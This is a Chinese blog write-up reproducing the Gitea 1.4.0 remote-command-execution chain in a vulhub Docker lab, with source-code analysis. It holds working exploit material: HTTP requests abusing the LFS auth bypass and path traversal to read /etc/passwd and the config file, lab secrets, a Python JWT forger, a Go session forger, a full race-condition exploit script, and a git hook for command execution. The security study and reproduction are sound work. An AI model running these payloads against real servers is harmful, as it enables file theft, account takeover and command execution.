gitea 远程命令执行漏洞复现
本文最后更新于 34 天前,其中的信息可能已经有所发展或是发生改变。

大概是18年的一个漏洞了,对goweb漏洞来说还是相当经典的一个样例,最近在学goweb,搭建了环境自己审计一下。

环境搭建

docker搭建环境

version: '2'
services:
 web:
   image: vulhub/gitea:1.4.0
   ports:
    - "3000:3000"
    - "20022:22"

环境启动后,访问http://you-ip:3000,将进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。(不要修改端口号)

安装完成后,创建一个公开的仓库,随便添加点文件进去(比如使用选定的文件和模板初始化仓库):

然后,需要执行一次docker-compose restart重启gitea服务。一定要重启一次!!!!

gitea第一次安装好,如果不重启的话,他的session是存储在内存里的。只有第一次重启后,才会使用文件session,这一点需要注意。

docker-compose restart

重启之后算是环境搭建成功,可以进行复现了。

逻辑漏洞导致权限绕过

这是本漏洞链的导火索,其出现在Git LFS的处理逻辑中。

Git LFS是Git为大文件设置的存储容器,我们可以理解为,他将真正的文件存储在git仓库外,而git仓库中只存储了这个文件的索引(一个哈希值)。这样,git objects和.git文件夹下其实是没有这个文件的,这个文件储存在git服务器上。gitea作为一个git服务器,也提供了LFS功能。

在 modules/lfs/server.go 文件中,PostHandler是POST请求的处理函数:

// PostHandler instructs the client how to upload data
func PostHandler(ctx *context.Context) {
	if !setting.LFS.StartServer {
		writeStatus(ctx, 404)
		return
	}

	if !MetaMatcher(ctx.Req) {
		writeStatus(ctx, 400)
		return
	}

	rv := unpack(ctx)

	repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)
	if err != nil {
		log.Debug("Could not find repository: %s/%s - %s", rv.User, rv.Repo, err)
		writeStatus(ctx, 404)
		return
	}

	if !authenticate(ctx, repository, rv.Authorization, true) {
		requireAuth(ctx)
	}

	meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
	if err != nil {
		writeStatus(ctx, 404)
		return
	}

	ctx.Resp.Header().Set("Content-Type", metaMediaType)

	sentStatus := 202
	contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
	if meta.Existing && contentStore.Exists(meta) {
		sentStatus = 200
	}
	ctx.Resp.WriteHeader(sentStatus)

	enc := json.NewEncoder(ctx.Resp)
	enc.Encode(Represent(rv, meta, meta.Existing, true))
	logRequest(ctx.Req, sentStatus)
}

从头开始走,先是有一个

	if !setting.LFS.StartServer {
		writeStatus(ctx, 404)
		return
	}

其中LFS的结构

// LFS represents the configuration for Git LFS
var LFS = struct {
	StartServer     bool          `ini:"LFS_START_SERVER"`
	JWTSecretBase64 string        `ini:"LFS_JWT_SECRET"`
	JWTSecretBytes  []byte        `ini:"-"`
	HTTPAuthExpiry  time.Duration `ini:"LFS_HTTP_AUTH_EXPIRY"`
	MaxFileSize     int64         `ini:"LFS_MAX_FILE_SIZE"`
	LocksPagingNum  int           `ini:"LFS_LOCKS_PAGING_NUM"`

	Storage
}{}

遍历文件找了一下StartServer的调用,通常被调用来检测是否是Start(服务是否正常启用),只有在api_repo_lfs_locks_test.go文件中进行了赋值操作,只有在该函数调用时会false

func TestAPILFSLocksNotStarted(t *testing.T) {
	prepareTestEnv(t)
	setting.LFS.StartServer = false
	user := models.AssertExistsAndLoadBean(t, &models.User{ID: 2}).(*models.User)
	repo := models.AssertExistsAndLoadBean(t, &models.Repository{ID: 1}).(*models.Repository)

	req := NewRequestf(t, "GET", "/%s/%s.git/info/lfs/locks", user.Name, repo.Name)
	MakeRequest(t, req, http.StatusNotFound)
	req = NewRequestf(t, "POST", "/%s/%s.git/info/lfs/locks", user.Name, repo.Name)
	MakeRequest(t, req, http.StatusNotFound)
	req = NewRequestf(t, "GET", "/%s/%s.git/info/lfs/locks/verify", user.Name, repo.Name)
	MakeRequest(t, req, http.StatusNotFound)
	req = NewRequestf(t, "GET", "/%s/%s.git/info/lfs/locks/10/unlock", user.Name, repo.Name)
	MakeRequest(t, req, http.StatusNotFound)
}

跟进一下 writeStatus,这个函数大概就是返回状态码了

func writeStatus(ctx *context.Context, status int) {
	message := http.StatusText(status)

	mediaParts := strings.Split(ctx.Req.Header.Get("Accept"), ";")
	mt := mediaParts[0]
	if strings.HasSuffix(mt, "+json") {
		message = `{"message":"` + message + `"}`
	}

	ctx.Resp.WriteHeader(status)
	fmt.Fprint(ctx.Resp, message)
	logRequest(ctx.Req, status)
}

注意到当检测到有问题之后,先写入404再return,该handler大部分逻辑都是这样实现的,注意一下在鉴权:

if !authenticate(ctx, repository, rv.Authorization, true) {
    requireAuth(ctx)
}

这里调用了requireAuth:

func requireAuth(ctx *context.Context) {
	ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
	writeStatus(ctx, 401)
}

而这里是不执行return的,也就是说就算鉴权check不过,写入状态码401,这里的函数执行依然是继续的。也就是说,这里存在一个权限绕过漏洞。

目录穿越任意文件读取

这个权限绕过漏洞导致的后果是,未授权的任意用户都可以为某个公开项目(后面都以oatmeal/repo为例)创建一个Git LFS对象。

这个LFS对象可以通过http://example.com/oatmeal/repo.git/info/lfs/objects/[oid]这样的接口来访问,比如下载、写入内容等。其中[oid]是LFS对象的ID,通常来说是一个哈希,但gitea中并没有限制这个ID允许包含的字符,这也是导致第二个漏洞的根本原因。

我们利用第一个漏洞,先发送一个数据包,创建一个Oid为....../../../etc/passwd的LFS对象:

POST /oatmeal/repo.git/info/lfs/objects HTTP/1.1
Host: 192.168.239.53:3000
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 153

{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}

可以看到虽然是未授权,但是依然是创建成功了。

第二步,就是访问这个对象。访问方法就是GET请求http://example.com/oatmeal/repo.git/info/lfs/objects/[oid]/sth,oid就是刚才指定的,这里要用url编码一下。

GET /oatmeal/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth

见下图,/etc/passwd已被成功读取:

跟踪漏洞的形成原因,在modules/lfs/content_store.go

// Get takes a Meta object and retrieves the content from the store, returning
// it as an io.Reader. If fromByte > 0, the reader starts from that byte
func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))

	f, err := os.Open(path)
	if err != nil {
		return nil, err
	}
	if fromByte > 0 {
		_, err = f.Seek(fromByte, os.SEEK_CUR)
	}
	return f, err
}

可以看到这里的Oid传入了transformKey

func transformKey(key string) string {
	if len(key) < 5 {
		return key
	}

	return filepath.Join(key[0:2], key[2:4], key[4:])
}

这里的转换非常有意思,将Oid转换成了key[0:2]/key[2:4]/key[4:]这样的形式,前两个、中间两个字符做为目录名,第四个字符以后的内容作为文件名。于是我们通过……,传入之后转成了../../../../../etc/passwd,最后作为path的值返回。

f, err := os.Open(path)

最后作为文件打开,读取/etc/passwd文件。

读取配置文件,伪造JWT

gitea的默认配置文件在$GITEA_CUSTOM/conf/app.ini$GITEA_CUSTOM是gitea的根目录,默认是/var/lib/gitea/,在vulhub里是/data/gitea

起始目录为/data/gitea/lfs/,那么需要构造的就是/data/gitea/lfs/../../gitea/conf/app.ini,也就是..../gitea/conf/app.ini

创建Oid为 ..../gitea/conf/app.ini 的对象。

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git

[repository]
ROOT = /data/git/repositories

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH    = /data/gitea
SSH_DOMAIN       = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
DOMAIN           = localhost
LFS_START_SERVER = true
LFS_CONTENT_PATH = /data/gitea/lfs
LFS_JWT_SECRET   = AvO4j876SgOKOhFiDJ_dTm4plzwIbXe8LRWkzaXjnNE
OFFLINE_MODE     = false

[database]
PATH     = /data/gitea/gitea.db
DB_TYPE  = sqlite3
HOST     = localhost:3306
NAME     = gitea
USER     = root
PASSWD   = 
SSL_MODE = disable

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER        = file

[picture]
AVATAR_UPLOAD_PATH      = /data/gitea/avatars
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = true

[attachment]
PATH = /data/gitea/attachments

[log]
ROOT_PATH = /data/gitea/log
MODE      = file
LEVEL     = Info

[security]
INSTALL_LOCK   = true
SECRET_KEY     = HuTlvnzrrN
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2Mjc1NjY0Mzh9.aDydMuNR42vOv0NaS95f7864X7VmW3R9o1drToUOX3o

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM            = false
ENABLE_NOTIFY_MAIL                = false
DISABLE_REGISTRATION              = false
ENABLE_CAPTCHA                    = false
REQUIRE_SIGNIN_VIEW               = false
DEFAULT_KEEP_EMAIL_PRIVATE        = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING       = true
NO_REPLY_ADDRESS                  = noreply.example.org

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

配置文件中有很多敏感信息,如数据库账号密码、一些Token等。如果是sqlite数据库,我们甚至能直接下载。当然,密码加了salt。

Gitea中,LFS的接口是使用JWT认证,其加密密钥就是配置文件中的LFS_JWT_SECRET。所以,这里我们就可以用来构造JWT认证,进而获取LFS完整的读写权限。

我们用python来生成密文,其中,jwt_secret是第二个漏洞中读取到的密钥;public_user_id是项目所有者的id,public_repo_id是项目id,这个项目指LFS所在的项目;nbf是指这个密文的开始时间,exp是这个密文的结束时间,只有当前时间处于这两个值中时,这个密文才有效。

import jwt
import time
import base64


def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)


jwt_secret = decode_base64('AvO4j876SgOKOhFiDJ_dTm4plzwIbXe8LRWkzaXjnNE')
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)

token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
token = token.decode()

print(token)

条件竞争写入任意文件

现在,我们能构造JWT的密文,即可访问LFS中的写入文件接口,也就是PutHandler。

PUT操作主要是如下代码:

// Put takes a Meta object and an io.Reader and writes the content to the store.
func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))
	tmpPath := path + ".tmp"

	dir := filepath.Dir(path)
	if err := os.MkdirAll(dir, 0750); err != nil {
		return err
	}

	file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
	if err != nil {
		return err
	}
	defer os.Remove(tmpPath)

	hash := sha256.New()
	hw := io.MultiWriter(hash, file)

	written, err := io.Copy(hw, r)
	if err != nil {
		file.Close()
		return err
	}
	file.Close()

	if written != meta.Size {
		return errSizeMismatch
	}

	shaStr := hex.EncodeToString(hash.Sum(nil))
	if shaStr != meta.Oid {
		return errHashMismatch
	}

	return os.Rename(tmpPath, path)
}

主要进行以下步骤:

  1. 同上面一致,根据Oid的path生成transformKey(meta.Oid).tmp文件,作为tmp.path
  2. 如果不存在该目录就创建目录
  3. 没有读写权限返回error,否则创建文件
  4. 写入文件,如果文件大小不一致返回error
  5. 文件哈希不一致返回error
  6. 重命名文件,并删去旧文件

根据上面的步骤,我们知道由于我们需要写入Oid的恶意文件,Oid为一个目录穿越的恶意字符串,而文件的哈希只能是HEX,不包含恶意字符串,所以在第五步hash不一致时会返回error,不会生成正确的文件,也就是说我们只能在最后生成.tmp后缀名的文件,并且在结束时都会删除文件(关键字defer)。

这里的利用空间就十分有限,类似的场景还有PHP的PHP_SESSION_UPLOAD_PROGRESS,只不过后者生成的是.php的可执行文件,而前者生成的只是.tmp文件。

P牛在文章中提出两个思考问题:

  1. 能够写入一个.tmp为后缀的文件,怎么利用?
  2. 如何让这个文件在利用成功之前不被删除?

其中第二个问题很容易想到的解决方法就是条件竞争。因为gitea中是用流式方法来读取数据包,并将读取到的内容写入临时文件,那么我们可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数是等待在io.Copy那个步骤的,当然也就不会删除临时文件了。

伪造session提升权限

gitea使用go-macaron/session这个第三方模块来管理session,默认使用文件作为session存储容器。我们来阅读go-macaron/session源码

func (p *FileProvider) filepath(sid string) string {
	return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}

其中,我们可以找到session文件名为sid[0]/sid[1]/sid

// Release releases resource and save data to provider.
func (s *FileStore) Release() error {
	s.p.lock.Lock()
	defer s.p.lock.Unlock()

	// Skip encoding if the data is empty
	if len(s.data) == 0 {
		return nil
	}

	data, err := EncodeGob(s.data)
	if err != nil {
		return err
	}

	return ioutil.WriteFile(s.p.filepath(s.sid), data, 0600)
}

在release函数中可以看到写入文件的data值是EncodeGob的返回值,跟进这个函数,该函数在session/utils.go文件中。

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

该函数调用Gob对对象进行反序列化,并返回反序列化字符串,我们可以写exp

package main

import (
	"bytes"
	"encoding/gob"
	"encoding/hex"
	"fmt"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

func main() {
	var uid int64 = 1
	obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "oatmeal" }
	data, err := EncodeGob(obj) // 反序列化obj
	if err == nil {
		fmt.Println(hex.EncodeToString(data))
	}
}

其中,{"_old_iod": "1", "uid": uid, "uname": "oatmeal" }就是session中的数据,uid是管理员id,uname是管理员用户名。编译并执行上述代码,得到一串hex,就是伪造的数据。

P牛的py利用脚本

import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote


logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)

BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11vulhub'
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')


def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)

    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)

    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()

def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''


OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
})
logging.info(response.text)

response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })

这个脚本会将伪造的SESSION数据发送,并等待300秒后才关闭连接。在这300秒中,服务器上将存在一个名为“11vulhub.tmp”的文件,这也是session id。

带上这个session id,即可提升为管理员。

这里文件需要改的部分全部用变量形式提现了,修改起来还是比较舒服的。

如图所示,成功提升为管理员。

利用HOOK执行命令

带上i_like_gitea=oatmeal.tmp这个Cookie,我们即可访问管理员账户。

然后随便找个项目,在设置中配置Git钩子。Git钩子是执行git命令的时候,会被自动执行的一段脚本。比如我这里用的pre-receive钩子,就是在commit之前会执行的脚本。我在其中加入待执行的命令touch /tmp/oatmeal

然后在网页端新建一个文件,点提交。进入docker容器,可见命令被成功执行:

总结

总结整条利用链,先是利用逻辑漏洞,在权限验证不通过时继续执行代码,读取任意文件,进而读取配置文件的SECRET_KEY,伪造JWT,之后便可以访问写入文件的接口,而写入文件的接口可以生成session的tmp文件。

利用条件竞争维持tmp文件,提交cookie,越权利用git钩子执行命令。

整条漏洞链利用思路十分清晰,dalaotqlorz。

参考链接

Go代码审计 – gitea 远程命令执行漏洞链

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇